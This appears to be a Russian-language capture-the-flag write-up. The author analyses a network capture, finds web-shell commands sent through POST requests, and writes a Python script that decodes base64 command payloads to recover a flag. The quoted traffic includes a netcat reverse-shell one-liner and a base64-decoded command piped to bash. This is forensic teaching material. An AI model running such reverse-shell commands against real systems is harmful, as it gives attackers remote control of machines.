## Задание * list.pcap - дамп сети ![](https://hackmd.io/_uploads/r1qaSR_i2.png) ## Решение Первым делом смотрю экпортируемые HTTP объекты: ![](https://hackmd.io/_uploads/HyO-80us2.png) Их слишком много, поэтому надо найти полезные. Фильтрую пакеты по протоколу HTTP, отсекая OCSP пакеты, т.к. они не содержат полезной информации и сортирую по размеру. ![](https://hackmd.io/_uploads/HyBhUCdoh.png) Сразу замечаю POST запросы к index.php содержащие исполняемые команды ![](https://hackmd.io/_uploads/Bkc-vRdo2.png) Всего различных команд 4: ``` 1. id 2. ls 3. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f 4. echo "ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=" | base64 -d | bash ``` Где 4 команда повторяется некоторое количество раз. Сразу брасается в глаза отличающиеся содержания команд в base64. Экспортирую интересующие файлы и достаю из них интересующие команды: ![](https://hackmd.io/_uploads/ryI2d0_jn.png) Пишу скрипт, чтобы достать данные из команд: ``` import base64 str_ = '' res = '' with open('commands.txt') as f: lines = f.readlines() flag = False tmp = [] for line in lines: for i in range(len(line) - 8): if flag: str_ += line[i] if line[i] == '=' and line[i+1] == '\"': flag = False res += str(base64.b64decode(str_ )) + "\n" str_ = '' if line[i] == '\"' and line[i+1] == 'Z': flag = True print(res) ``` Видно, что в данных командах спрятан флаг. ![](https://hackmd.io/_uploads/Sk59nROih.png) Модифицирую скрипт и достаю флаг: ```import base64 str_ = '' res = '' with open('commands.txt') as f: lines = f.readlines() flag = False tmp = [] for line in lines: for i in range(len(line) - 8): if flag: str_ += line[i] if line[i] == '=' and line[i+1] == '\"': flag = False res += str(base64.b64decode(str_))[32] str_ = '' if line[i] == '\"' and line[i+1] == 'Z': flag = True print(res) ``` Результат: ![](https://hackmd.io/_uploads/BkzG60uoh.png)